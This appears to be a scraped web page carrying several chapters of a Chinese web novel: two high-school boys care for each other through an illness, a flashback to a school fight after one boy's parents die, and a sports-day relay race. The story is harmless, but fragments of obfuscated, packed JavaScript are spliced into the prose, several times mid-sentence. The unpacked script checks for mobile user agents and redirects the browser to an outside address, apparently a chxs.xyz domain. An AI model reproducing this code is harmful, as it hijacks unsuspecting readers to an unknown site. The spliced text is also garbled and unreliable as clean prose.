l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025653|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸大方地钻到夏凉被里,“算了算了,那就睡吧。” 骆危楼差点被他这一串十分顺畅的表演唬住,单腿跪在床边差点笑出声。 表演天赋还挺高,净瞎掰。 床挺大,两个一米八左右的男生躺一起,也不会挤。 不过骆危楼才闭上眼,就感觉旁边的人扯紧了被子,扭头看去,发现刚才还说“参与感”的人,整个人都快缩到被子里。 骆危楼扯了下被子,“别闷着。” 严妄:“……” 声音从被子里传出,“别管。” 骆危楼低笑一声,“还参不参与了?” 严妄猛地拽下被子,露出一头乱七八糟的头发,还有热红的脸。 房间外的路灯照进来,微弱的灯里,显得他整张脸愈发乖顺,眉清目秀又透出几分少年气。 又圆又大的眼睛,连双眼皮褶都很漂亮,此刻却瞪着人,露出几分恼羞成怒的烦躁,“烦死了你!” 骆危楼抬手按亮床头的抬头,“行了,开灯睡。” 严妄觑着他脸上的笑,被晃了眼,干巴巴地扭头,小声“哦”了句,勉强算得上回应。 骆危楼盯着他后脑勺,手压在被子上,小心地拉开一些距离。 有点热。 他心想,刚才窗户不应该关那么实的。 15. 第 15 章 骆危楼睡得迷迷蒙蒙的,忽地感觉身上一重,小腿骨还被踩了一脚。 不算疼,但人也清醒了。 睁开眼,房间里还灰蒙蒙的。 他就看到严妄从身上爬过去,也没开个灯,手危危险险撑在床边。 骆危楼残存的困意一瞬间消失,撑起上半身,一把捞住严妄,“天还没亮,你干什么?” 严妄吓一跳,手滑直接摔到被子上,“你才是干什么,吓我一大跳!” “起夜?”骆危楼抬手,把床头灯打开,“肚子不舒服?” 严妄手脚并用爬起来,不知道是有意还是无意,手掌在他大腿狠狠压了下。 “有点,你别管,睡你的吧。” “不过灯什么时候关的?开灯睡觉就为了哄我是吧。” “你睡着才关的。”骆危楼坐起来,跟着穿鞋下床,“你就是该的。” 严妄身上衣服睡得乱七八糟,露出一截腰,“能不能有点好话?” 看他穿鞋,“你也要去啊。” “给你拿药算不算好话?”骆危楼站起来时,伸手帮他把衣服扯好。 严妄懒得理他,踩着拖鞋去了卫生间。 骆危楼去客厅壁柜里拿药,关玻璃柜门时,灯亮起来。 疑惑地转身,看到江杉披着衣服走过来。 “外婆。”骆危楼放轻动作,“吵到您了?” 江杉摇头,“年纪大了,平时就这个点起。” “怎么了?你不舒服还是小妄不舒服?” “晚上吃太杂,我给他拿点药。”骆危楼看眼墙上的钟,才五点多,“应该没什么大事。” “那我去给你们烧水,吃药得热水。”江杉说着就要去厨房。 骆危楼连忙拦住,“家里有饮水机,通电就行。” “我来吧,您去坐着,要么回去躺会儿。” 江杉一愣,笑起来,“真是忘性大了,还以为跟你们小时候一样得用壶烧水。” 她笑着看骆危楼,“一晃眼你们一个长得比一个高,都是大人了,以前可够不到药箱。” 骆危楼边打开插座开关,边给壶里接水,“家里有什么是他够不到的?” “柜子顶放的糖,他都能找到。” “哈哈哈哈,小妄就是个皮猴,打小就是费头子。”江杉打了个哈欠,“那我回去再眯会,等他吃了药,你也再睡会,别管他,什么都将就他。” 骆危楼点头,“知道的。” 看江杉回了房间,骆危楼回到饮水机旁,等水热了,热水倒进杯子,又兑了点凉的,一手杯子一手药回房间。 手肘推开房门,进去后用脚把门关上,看眼趴在床上蔫蔫的严妄。 “过来,把药吃了,再把水喝了。” 严妄艰难地挪了下头,“什么药?” “止泻的。”骆危楼走过去,弯腰伸手,把人拽起来,“还有哪儿不舒服?” 严妄没力气挣扎,由得骆危楼摆弄,“不知道,就不舒服。” 骆危楼摸了摸他额头,不烫,“乖,先把药吃了。” 严妄白他一眼,但药和水递过来就乖乖张嘴,药片滑过喉管,苦味散开。 苦得他皱眉,嫌弃地偏脸蹭骆危楼衣服。 骆危楼放好杯子,把人从肩上薅起来,塞回被子里,“再睡会,还早。” 严妄闭上眼,又困又不舒服,叠加到一起就是睡得快。 “你不睡会儿啊?” “不困。” “骗人。上来呗,我又不会传染给你。” 骆危楼笑了声,干脆坐过去,靠在床头,把灯调暗一点,“可以睡了吧?” 严妄心满意足地闭上眼,伸手扯扯被子,呼吸逐渐绵长。 真像只猪,能吃能睡的。 - 这一觉严妄睡得挺沉的,但越睡越热,身上跟火烤一样,而且醒来后,不舒服的感觉更严重。 看眼旁边靠着睡觉的骆危楼,轻手轻脚跑了两趟卫生间,手脚都软了。 等他再爬回床上,没留意碰到骆危楼,把人弄醒了。 骆危楼捏捏眉心,伸手去拉他,“还是不舒服?” 严妄有气无力倒在被子里,“不知道,有点犯恶心。” 骆危楼抓着他手腕,感觉不太对,伸手又去摸他额头,不至于滚烫,但摸着热的。 “发烧了,我去拿温度计,你躺着别动。” 严妄“啊”了声,不敢相信自己竟然被一盘西瓜打倒,盯着天花板开始怀疑人生。 不是吧,他有这么脆皮吗? 骆危楼出房间,走到柜子那儿,翻了下才找到在角落的水银温度计。 杨孟生在厨房听到动静,拿着锅铲出来,“怎么了?” “有点发烧,我给他量下。”骆危楼往房间走,“外公,你看能熬点粥吗?清淡点,他能消化。” “你们江老师出门锻炼前就熬着了。”杨孟生一脸担心,“这孩子,大半夜偷吃西瓜,能不发烧吗?是不是又忘记关窗户睡觉了。” 骆危楼“嗯”了声,进了房间。 他在床边坐下,拉起严妄一只胳膊,把温度计给他放好,又按着他手,“别动,计时的。” 严妄觉得自己人都在飘,在被子里热,忍不住悄悄从被子里伸出来,“……肯定发烧了。” 骆危楼面无表情看他一眼,“量完你把退烧药吃了,吃点东西就躺床上别动。” 严妄扭头看他,“作业怎么办?” “好了再写。”骆危楼无情地拒绝话里隐形要求,“以你体质,明天能好。” 严妄啧一声,转回去。 五分钟后,骆危楼拿着温度计。 38.1℃。 再烧高一点,都是高烧了。 骆危楼甩了甩温度计,放回盒子里,“我去拿药和粥,你躺着。” 严妄没吭声,倒不是闹情绪,是没什么力气。 太难受了,他连动一下都懒得动。 “小妄发烧了?” 房门才打开,江杉就正好在门口,手里还拿着药。 骆危楼侧身让江杉进门,“三十八度一,有点高烧,先吃药吃东西看看,中午不退烧我带他去诊所看看。” 江杉走到床边坐下,药放在床头,“妄崽,哪里难受啊?” 严妄扭头看江杉,原本只是身体难受,现在心里也难受起来,“外婆……” “哎哟哟,怎么了?”江杉弯腰摸摸他的脸,用额头去贴了贴,“好久不生病,是容易生病的,你看你一年到头小感冒小发烧都少,这一下就发高烧,能不难受吗?” “没事,吃药就好了。”严妄眨眨眼,“您和外公别担心。” “你这傻孩子,发烧是免疫系统在战斗,退烧了就好了。”江杉给他拉了拉被子,“吃了药,再把粥喝了,你就睡会儿,睡起来病啊,就能好了。” 严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025654|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妄“嗯”了声,往门口看去,杨孟生站在那里,骆危楼端着一碗也在那儿。 骆危楼看他可怜巴巴的眼神,无声叹气,走到房里,“先吃药再吃东西。” 严妄“哦”了声,老实吃药吃东西,又躺回被子里。 一躺下,额头就贴了一片退烧贴。 骆危楼坐在床边,“睡吧,我守着。” 严妄问:“阿姨不回来吗?” 骆危楼摇头,“不回,她有事,给我发消息了。” 严妄看着他不说话,只是眨巴眼睛。 骆危楼拿起一本书看,“不是被我气的,是昨天我爸给她打电话气的,所以不想看到我。” 严妄“啊”了声,“那是,你和叔叔长得还挺像的。” 旁边江杉和杨孟生笑骂一句,两个孩子没大没小的,大人玩笑也开。 严妄吃了药,又不舒服,昏昏沉沉睡得快。 他睡了,骆危楼就在旁边守着。 期间江杉和杨孟生进出房间几趟,放不下心,又怕吵醒严妄,下午三点多,严妄醒来。 算着时间,又测了一次体温,38.5℃。 得,烧一点没退下来,还更烧了。 骆危楼把翻了几页的书放回去,从衣柜里拿了一件外套,拿了身份证和手机,领着人去了社区周边的诊所。 赶上周六,又下过雨的冷热交替天气,诊所里人不少。 没少床位给他们,只能坐在外面沙发区。 “验个血吧,可能是肠胃炎。”医生摘下听诊器,“昨晚乱吃东西,还冷热一起,容易引起炎症。” 严妄坐圆凳上,靠在站着的骆危楼身上,一听这话,脸往他身上歪了歪。 骆危楼低头看见,抬手呼噜他后脑勺,看向医生,“嗯,吃杂了,还吹了点冷风。” “那验血看看,直接给他打吊针。” 医生笑了笑,让严妄伸手,一边扎针一边说:“你们年轻人啊,就是仗着年纪小,熬夜、胡吃海喝,不注意身体,这身体各个功能都是有极限的,负荷超载,那就容易出问题。” 严妄假装听不到,手指被扎破的瞬间,抓紧了骆危楼胳膊。 怎么感觉比挨了一闷棍还疼啊。 骆危楼眉头皱了下,看着医生把采血棉签放到试剂里,然后再把试剂送到一边的验血设备。 “行了,过去吧,我开好药,一会儿让护/士给你们拿过去。” “谢谢医生。”骆危楼点头,捏捏严妄后颈。 严妄抿唇,终于舍得抬起头,“谢谢医生。” 医生把笔往口袋里一插,站起来,“别谢了,去找个位置坐着,蔫了吧唧的。” 沙发区人不算多,他俩找了一个靠墙的,能清静一点。 没几分钟,护士拿了三个吊瓶回来,一边操作一边问他过敏事项。 针扎进手背血管,冰凉的药液输入,没一会儿手背就发凉。 骆危楼坐在他旁边,看他手不安分想动,伸手轻轻抓住,往他手心垫去。 “别乱动,一会儿跑针回血。” 严妄哼了声,“难受。” 骆危楼摸摸他额头,轻轻调整了一下位置,“靠肩上,闭眼,等烧退了就不难受。” 严妄放松地靠在他肩上,微微偏着头,鼻息间能味道骆危楼身上沐浴露的味道。 和他一样。 橘子的。 特别像小时候家里的味道。 16. 第 16 章 严妄父母去世的那年,他正好升初中。 义务教育阶段,招生卡得并不严格,学生们就是按片区入学,户口在哪个片区,就在那一片的初中读。 初二开学当天,严妄就在学校后门的巷子和人打了一架。 骆危楼被老师叫去办公室,知道后赶到巷子,严妄一脑门血,靠在墙上喘粗气,对面五六个人,穿着校服,也是他们学校的学生。 看到严妄站着,骆危楼心跳逐渐回到原本的位置。 他走过去,开口第一句话是“伤在哪”。 严妄甩开他手,盯着那几个初三的学生,眼神又凶又狠,“你们再提一句试试,你们想死的话,尽管来,别以为我不敢。” “严妄——” “你能不能别管我,烦死了!” 严妄抬手胡乱擦掉脸上的血,往巷子外走。 骆危楼皱眉,看眼被打得鼻青脸肿的几人,“以后别找他麻烦。” 那几人挨了一顿打,现在又被人警告,低声骂了一句,嘟嘟囔囔地往另一头走。 “孤儿一个,拽什么拽。” “早就看他不爽了,凭什么因为他是教师子女就事事优先。” 骆危楼刚要去追严妄,听到这句,脚步一顿,回头看着那几人,表情瞬间冷下来。 “啊!” “同学,你还好吗?要不要叫救护车!” “有人晕倒了,快打救护车!” …… 骆危楼坐在急诊室外,不时往里看。 从严妄父母去世到现在,一年多的时间,严妄变得很暴躁,不仅话少了,甚至连上课都几乎在睡觉。 不上课时,严妄不是在家里熬夜玩游戏,就是去网吧里通宵,或者去台球厅里玩。 杨孟生和江杉尚在丧女之痛里,看着严妄这样,心急又心疼,舍不得说一句重话。 不敢管,怕管了严妄的状态更糟糕。 好在骆危楼一直跟着他,连初中都选了一个。 陆舍青倒是不介意,还让骆危楼多陪陪严妄,看着他一点。 急诊室不时传来一声痛呼,骆危楼刚站起来,就听到走廊尽头杂乱的脚步声由远至近。 “小楼,妄崽呢?” “你慢点慢点,别摔了,地板滑。” 江杉头发白了许多,她看着骆危楼,“小楼,跟外婆说,妄崽这是怎么了?” 骆危楼抿着唇,不知道怎么说。 杨孟生扶着江杉,往急诊室里看,就见严妄脑袋包着纱布、脸上贴了纱布,身上校服又是泥又是血,被吓得不轻。 “这、这怎么还打起来了?不是才开学。” 江杉看他伤成这样,心疼上前,“小妄,有没有哪里不舒服?” 又看向出来的护|士,“护|士,他这个伤不严重吧?” 严妄抬起头,看到江杉和杨孟生,立即扭开脸,烦躁地不停地咬嘴唇。 心里升起的焦躁让他烦得不行,不经意对上骆危楼的视线。 不知道为什么,他觉得骆危楼在可怜他,从跟他选一个学校、调到一个班级开始,就一直在可怜他。 装什么啊。 从小到大一直当哥哥,得照顾他,早就不耐烦了吧。 “谁让你告诉他们的?我又不是死了,要你管——” “啪!” 严妄头偏向一边,脑袋里嗡嗡嗡地响,眼前更是发晕,甚至有一瞬间什么都看不清。 被打得发麻的脸颊,慢慢火烧一样疼。 “外婆!”骆危楼伸手扶住严妄。 江杉红着眼睛,努力克制着情绪,却控制不住手抖。 “严妄,你想死是吗?你想过我和你外公吗?想过你爸妈吗?你到底要任性到什么时候!” “你妈生你的时候,差一点大出血,在产房里待了一天一夜,出生后身体一直不好,你爸为了这个小家,换了一个出差多但工资高的工作,你——” “他们在救护车上的最后一句话是让你好好长大,你就是这么长大的?” “你难过、你伤心,我们都知道,但你不能不爱惜自己。” 杨孟生扶着江杉,偏过头悄悄抹掉眼泪。 严妄咬着下唇,垂着眼一言不发,脸颊火辣辣的疼。 不只脸在疼,全身都在疼。 骆危楼扶在他胳膊的手,慢慢往下,抓住他的手,“严妄。” 严妄抓着他的手,力气大到快要掐进肉里,却再也忍不住,呼吸声越来越大,眼泪模糊了视线。 江杉看着面前已经长到和自己一样高的严妄,瞬间闭了闭眼,心疼地摸着他脸。 “妄崽,你要好好长大。” “他们说我是孤儿。” 严妄抿着唇,回头时满脸委屈,“他们骂我是孤儿,我、我……” 他爸妈都死了,他就是孤儿。 不只是孤儿,还是煞星。 “你有我和外公,你爷爷奶奶也还在,什么孤儿,他们瞎说。”江杉抱住严妄,拍着他的头,哽咽道:“外婆在呢。” 严妄发出一声忍着的哭声,一把抱住江杉。 骆危楼的手还被他牵着,维持着一个别扭的姿势。 旁边杨孟生只是沉默地看着他们,无声地叹气。 那天是严妄在父母去世后,哭得最伤心的一次,又生了一场病,连着发烧三天,高烧反复不退,直接错过了刚开学那一周的课程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025655|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 病好之后,严妄瘦了一圈。 回到学校里,和骆危楼继续当同桌,慢慢地恢复了以前的性格,加上一张好看的脸,越来越讨人喜欢。 - 难得生一次病的严妄,但凡发烧都要折腾三四天。 但高三生的学习时间极其宝贵,周一严妄正常去学校,只不过全副武装,口罩加保温杯,还有骆危楼随身携带的药盒。 交作业的时候,严妄看着骆危楼直接从书包里拿出两本数学错题本,面不改色交上去,在心里默默竖了个大拇指。 等到午休去学校食堂,其他人立即围上来。 “妄崽,你好了点吗?” “别说好兄弟不照顾你,特地给你打的热水。” “严妄,一会儿我给你打饭。” “我这里有糖,你想吃问我要,我低血糖随身带着。” 严妄扫一眼面前的四个人,恹恹地往骆危楼肩膀上靠,“谢了,要是有人能帮我写作业,那我——” 刚才还一脸关心的四个人,瞬间变脸,“免谈。” 骆危楼笑了一声,反手拍了拍严妄的脑袋,“谁帮你抄的错题?” 严妄不说话,拒绝领情。 “幼稚。” “那你自己抄吧。”骆危楼把手机放回口袋,“头也拿开。” 嘴上这么说,但一点没动。 其他人见怪不怪,周戈和赵不凡去排队打饭,剩下孙雯宁和罗恬坐着。 附中食堂有两个,一食堂人多,二食堂据说是某位校领导亲戚外包的,所以价格贵人少。 反正还有校外的快餐店,选择多。 但二食堂适合想在学校吃,又想吃火锅、小炒之类的学生。 “对了,马上校运会,老刘那边在统计报名,你们参加什么?” “看文韵需要我参加什么。”严妄软趴趴地靠着,还调整了一下位置。 孙雯宁恍然,“忘了,你运动细胞格外发达。” 转头问,“那学神你呢?” “4x100的接力。”骆危楼提醒,“高三只有田径项目。” “差点忘了,高三比高一高二项目少。”孙雯宁碰了碰罗恬,“不然豆妹还可以报排球。” 罗恬瞪大眼,一脸拒绝,“我今年只做啦啦队。” 严妄眨了眨眼,好心提醒对面两位心存幻想的美女,“一切我们说了不算,文韵拥有一票决定权。” 刚好回来的周戈和赵不凡听到,瞬间想起了一些不算美好的记忆。 打篮球的去跨栏、羽毛球的练排球、踢足球的扔铅球。 总之,项目得报满。 目标是拿牌,底线是全员参与。 17. 第 17 章 国庆假期前,校运会如期而至。 比起高一、高二紧张的赛程,高三就轻松许多,只有田径项目,包括短跑、长跑、接力和跨栏,以及跳远、跳高。 除此外,为期三天的运动会,大部分时间可以自行安排。 严妄每年最期待的就是运动会,因为开完运动会就是国庆假期。 作业再多,那也是实实在在不调休地放七天假。 “接力要开始检录,差不多得过去了。”刘晋安手里拿着一张表,是班里每个项目的参赛时间。 “刘晋安,你带他们过去。”方文韵撑着一把伞,才从跳高那边过来,“哎,罗恬,过来帮忙发一下水。” 回头一看班里人还傻乎乎抬着水,“到地方了还抬着,傻啊,放下放下。” 刘晋安刚要叫孙雯宁拿几瓶水跟自己过去,就听方文韵一声吼,正躲在伞下照镜子的孙雯宁被抓个正着。 “别看你那镜子了,全年级都找不出一个比你还美的。”方文韵看眼其他项目,“还有旁边的黄静,你俩拿上水,跟刘晋安一起。” 一回头,看贴着主席台的边上,要参赛的几个人还磨磨蹭蹭。 “你们是大姑娘绣花呢,大半天了还没脱完?” 班里其他人一听,起哄让他们别藏了,又不是新媳妇见公婆。 周戈举着一把伞,站在边上,回头看一眼,“早就说了,让你们直接穿运动裤,你们还非得在外面套校服,麻烦不麻烦。” “早上那么冷,谁知道这个点太阳晒死。”赵不凡从伞后出来,扒拉两下裤子。 “难怪外婆说大雾天就是大太阳。”严妄跟着出来,校服拿在手里,运动短裤下一双腿又直又长,薄薄一层肌肉包裹着,连跟腱都长得修长。 伸手锤了两下伞,“骆危楼,你好了没啊?” 骆危楼“嗯”了声,拿着校服出来。 无袖配运动短裤,个高腿长,一出来,旁边经过的高一高二学生,立即发出一声不小的惊叹。 周戈把伞递给旁边的班里同学,“又不是女生,直接脱不就好了,还打伞。” 从观众台下来的孙雯宁,拿水往他肩上砸,“你以为谁都跟你一样,未开化的野蛮人。” “有伤风化。” 周戈刚想还嘴,就被孙雯宁下一句气得翻白眼。 “不过要是妄崽和学神,那就是付费频道了。” 严妄听不懂,但肯定不是什么好话,朝刘晋安喊,“走了,去检录。” 方文韵催促,“快去快去,其他班都过去了。接力是连着比,中间就休息十分钟。” 看他们几个人走了,又不放心叮嘱,“嗳,记得热身,还有安全第一!” 罗恬发完水,挨着人坐下,“方妈,你坐一会儿?” 方文韵摇摇头,“昨天跑,你给他们掐表是多少?算了,能全部项目报满就行,目标跑进决赛。” 罗恬:“好像是五十六,还是五十七。” “……能进决赛吧。” 旁边女生摇头,“九班有三个体育生,不全是田径的,但贼能跑,我从朋友那打听,他们这几天练,记录都是五十秒内。” 罗恬:“……别灰心,九班不就是体育生多。” 女生:“二班五十二秒。” 罗恬:“。” “管他的,咱们班有学神,那就赢了。” “进不进决赛,加油排面要拉满,输人不输阵。” “来来来,练一下口号,六班六班,势不可挡!” “势不可——,不是非同一般?” 方文韵满怀期待地等着口号,结果每一句整齐的,面无表情扶了扶眼镜。 无所谓,人齐就好,总好过校运会还要去网吧逮人。 - 接力初赛有三个小组,抽签分组,一组六个班,每一组取前两名进决赛。 检录完,四个人站在起点的赛道外等前两组比完。 孙雯宁和黄静打着伞,一人抱了两瓶水,眯着眼看其他班的接力。 “孙仙儿,那是不是九班的秦子辰啊。” “就是那个傻逼,化成灰我都认识。” 刘晋安扶了扶眼镜,看眼面前震惊回头的学生会同学,无奈走到孙雯宁旁边。 “你小点声。” “有什么好小声的?”孙雯宁翻个白眼,“他敢堵我告白,被我拒绝就到处造谣,骂两句怎么了?” 除了严妄和骆危楼,其他几人一头雾水地看她。 周戈小声问严妄,“秦子辰怎么惹孙仙儿了?” 严妄看他一眼,在原地做拉伸,结果没站稳,下意识伸手去扶旁边的东西。 才刚碰到温热的皮肤,手就被抓住。 条件反射地抬头、缩手,看见是骆危楼,继续拉腿,瞥周戈,“你管呢,问那么多。快点热身,输给九班丢不丢人?” 周戈一脸无辜指了指自己,看看刘晋安,又看赵不凡。 什么叫输给九班太丢人,人家三个体育生。 两人默契扭头不接茬。 情商太低了,一听就知道怎么回事,还问。 骆危楼捏了捏严妄手指,“换另一条腿,不然跑的时候容易抽筋。” 严妄拽着骆危楼的手站起来,“你不热身?” 骆危楼:“刚才从教室跑过来的。” “别拉太开,容易抻着。” 他俩说话,忽然一阵加油声和欢呼声传来。 顺着声音看去,正好看到跑最后一棒的秦子辰冲过终点线。 “秦子辰跑得好快啊,第一名预定了吧。” “肯定第一了,我随便掐的表,四十八,应该是留了力。” “那不留力多少?四十五?得破纪录了。” 周戈和赵不凡听到四十八,心都死了。 一左一右搭在刘晋安肩上,摇头叹气,他们进决赛就行。 孙雯宁低头研究指甲,听他俩没出息的话,翻了个白眼,“能不能有点出息?四十八秒而已,你们跑个四十秒呗。” 黄静咳了声,提醒,“世界纪录好像三十六秒,我们跑四十是不是有点夸张了?” “夸张吗?还好吧。”孙雯宁眨眼。 周戈、赵不凡:“……” 敢情不是你跑啊,夸这海口。 第一组跑完,去检录那里签完字,陆续离开跑道,第二组开始备赛。 秦子辰跟其他人一起走来,看到严妄和骆危楼,挑起眉,“希望能在决赛看到你们。” 严妄站起来,甩了甩腿,“这个季节还有蚊子?” 骆危楼嘴角上扬,“有的。” “你们——”秦子辰往前一跨步,话没说完,就对上严妄抬起的眼睛。 严妄往骆危楼面前一挡,微抬下巴,“想打架?” 秦子辰视线落在严妄身上,很快越过他肩膀,看向骆危楼。 装什么好学生。 “进了决赛也顶多第二名,你们喜欢就进吧。” 秦子辰冷笑一声,“输给体育生也不丢人,还能这么挽尊,是吧。” 旁边那几个和他一起的男生,哄笑起来。 严妄看他一眼,转身瞪骆危楼,“拉我干什么,我才不跟废物打架。” 骆危楼笑笑,“衣服卷边了。” 严妄:“那现在好了吗?” 骆危楼:“好了。” 严妄:“那还不撒手。” 他们不理,找茬的也发作不了,走到一边去休息,等着决赛。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025656|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这下周戈他们算是看明白了。 “孙仙儿,那小子造谣你什么了?” “说我傍大款、男朋友换得勤呗,还能是什么?”孙雯宁翻个白眼,“其实比我们高一届,复读一年才落到今年。” “我就算是真男朋友换得勤,也看不上这傻逼。” 周戈怒从中来,拍拍赵不凡,“老赵,为了咱们女神,拼了!” 赵不凡撸一把头发,“我争取多拉一点优势,你们撒开跑,反正我怕跑第一棒。” 第二组准备就绪,马上就要开跑。 严妄看一眼第二小组的班级,衣服上都别着号码牌和班级,倒是不难认。 还行,这几个班没擅长跑步的。 骆危楼从班长那儿接了号码牌,站在严妄背后给他别上,“我跑第一棒,周戈还是第二,赵不凡你第三,最后一棒给严妄。” 周戈刚要说,怕自己接棒出问题,就被严妄瞪了一眼。 “我们三给你兜底,你最好别掉棒,不然打你。”严妄对着周戈,故作凶狠地威胁,“下次打球不带你。” 周戈恨不得原地发誓,“别别别,我一定好好交接,吃奶的劲儿都用上。” 骆危楼给严妄别好号码牌,问他有没有扎到,看他摇头,才笑着蹲下系鞋带。 “那倒不用,当前两天一样跑就行。” 严妄扫一眼不远处靠着休息的人,抿抿唇,伸手去摸骆危楼头发,“嗳,你平时鞋带怎么系的?” 骆危楼抬起头,“现学来不及了,下次吧。” 说着,伸手就帮严妄把鞋带解开重系。 第二次欢呼声响起时,严妄刚好把骆危楼拉起来,扯着衣服下摆给他擦手。 “4x100男子接力第三小组,该上场了。” 孙雯宁看他们四个上场,挥了挥手,“喂,比赛第一,安全第二啊!” 留在原地的其他人:说反了吧。 比赛哨声吹响,跑第一棒的骆危楼跟离弦的箭似的飞出去,直接把其他六个班甩在后面。 第二棒周戈跑得慢被追回一点,等到第三棒赵不凡又补了回来。 接力棒交到严妄手里时,基本和其他几个班齐平,严妄抓稳接力棒,飞一样的跑出去,冲过终点又往前跑了十几米,才停住。 他踢了踢脚,瞥一眼还在那边休息的秦子辰几人,去裁判那里确认成绩。 骆危楼跑第一棒,这会儿已经不喘了。 六班其他人也围了过来,等着裁判登记成绩。 “我靠,四十八!” “牛啊妄崽!快快快,去跟方妈报个喜!” “这决赛稳稳的,等会儿决赛冲他丫的!” 严妄把接力棒放回去,一转身,骆危楼已经从孙雯宁那儿接了水,拧开递给他。 骆危楼:“慢点喝。” 严妄点头,靠近骆危楼,“嗳,我觉得秦子辰要气死了,最好多生气,诅咒他一身结节。” 骆危楼笑了一下,没说话。 孙雯宁撑着伞,装作不经意地走到九班那边扔垃圾,“四十八秒,嗳,四十八秒,怎么就跑了四十八秒呢。” 九班:…… 孙雯宁撩了下头发,转身离开。 严妄看她耀武扬威回来,笑出一对酒窝,“不怕他们围殴你啊?” 孙雯宁笑着看他俩,“不还有你们吗?” 说完她嘀咕道:“说起来,当初他怎么读得好好的,初三还退学。找你茬那事,不是和解了吗?不然你还得被一个处分。” 严妄一怔,心想他哪知道这种人渣的脑回路。 “骆危楼,等会——” “你发什么呆?” 骆危楼敛起神思,对严妄笑了下,“缓一会儿。” 18. 第 18 章 高中校运会一向旨在友谊第一、比赛第二,年年广播里这么喊,年年都有火药味。 年轻人火力旺是一回事,竞技体育一向热血才是关键因素。 十七八的年纪,胜负欲来得莫名其妙。 尤其对手还是自己挺讨厌的人,在谁面前丢人,都不能在敌人面前丢人。 不然就是双重打击。 接力赛向来是全校关注的重点,仅次于有帅哥在的篮球比赛。 决赛才刚上场,跑道外已经围满了学生。 进决赛的、没进决赛的,其他年级的全聚在一起,等着看比赛。 “六班六班,赛场无双!” “九班九班,绝不一般!” 孙雯宁听到隔壁的声音,把伞塞到班长手里,“麻烦,帮我打下伞。” 刘晋安:“啊?” 孙雯宁薅起坐着的罗恬,还有其他人,“坐着干什么,跟我一起喊,我要让这个赛场上九班的声音消失。” 前面正在看矿泉水够不够的方文韵,一言难尽地看向孙雯宁。 脸和性格实在太割裂了。 “严妄、骆危楼,还有赵不凡、周戈——”孙雯宁扯着嗓子,“你们要是输给秦子辰那家伙,我就把你们糗事发到校园墙上!赢了我请你们吃火锅!” 一嗓子吼完,全部人都转头看来。 严妄离得远,假装听不到。 周戈和赵不凡揉了揉耳朵,飞快站到自己的位置上。 只有骆危楼,起点就是终点,他跑第一棒,理所当然地成为围观对象。 “孙雯宁!” 罗恬拉了拉她,“只有学神在丢脸。” “放心,他才不在乎。”孙雯宁伸手搭在她肩上,“要是妄崽,他肯定脸噌一下全红了。” “那就是骆危楼啊?” “我在学校月考百名榜看到过。” “我们学校还有百名榜?” “有啊,一个年级一千多人,能考进前一百真的很牛,而且蝉联了很久……不过听说开学摸底考滑到二十多。” “状态都有波动,放心,下回考试肯定回来了。” “你说我拜一拜有用吗?国庆回来就是第一次月考,我不想垫底。” 骆危楼站在原地,和其他人比,几乎没什么动作,看着也不紧张,面无表情地站着。 耳边窸窸窣窣地讨论声,他没怎么听清,就听清孙雯宁那句了。 几个体育老师站在赛道外,其中一个举起手里的旗子,同时广播响起预备的声音。 骆危楼俯身时,飞快回头看了一眼最后一棒的严妄。 严妄旁边隔了两个赛道是秦子辰。 “骆危楼,你别看妄崽了!能不能行啊你!” 骆危楼:“……” 一声枪响,骆危楼立即冲了出去,才跑一半,就已经把其他人甩在后面,连体育生都没跑过。 “骆危楼!!!学神加油!” 六班看他领先不少,哪里还管友谊不友谊的,全站起来,叫成一团。 第二棒周戈,接棒的时候差点摔倒,还好只慢一步。 跑着跑着,被连续赶上,等交给赵不凡的时候,整个人都不行。 “下、下次我再也不跑了。” 跑出去的赵不凡,声音飘回来,“……没下次了,大哥。” 赵不凡是体育生,跑得也不慢。 但架不住九班第三棒也是体育生,连其他班也放了一个跑得快在第三棒。 被落下的五十米,也就追回来三十多米。 “严妄!” 严妄看着跑出去的秦子辰,听到赵不凡声音时,手伸出去,稳稳抓住,几乎在摸到的同时,人已经跑出去。 赵不凡陪跑了两步,手撑着膝盖,仰头去看,“靠,严妄你要练体育无敌了。” “严妄快啊!!” “加油加油,第三了!” “严妄——!!你是六班最帅的!” “第二了!严妄!!加油!加油!” 旁边九班声嘶力竭,誓要保住接力赛三年的第一名记录。 “秦子辰,你快点!” “靠啊!别被六班超了!” 严妄耳边风声越来越响,心跳声也越来越重。 “啊啊啊啊啊——!严妄!” “第一,是第一吧?” 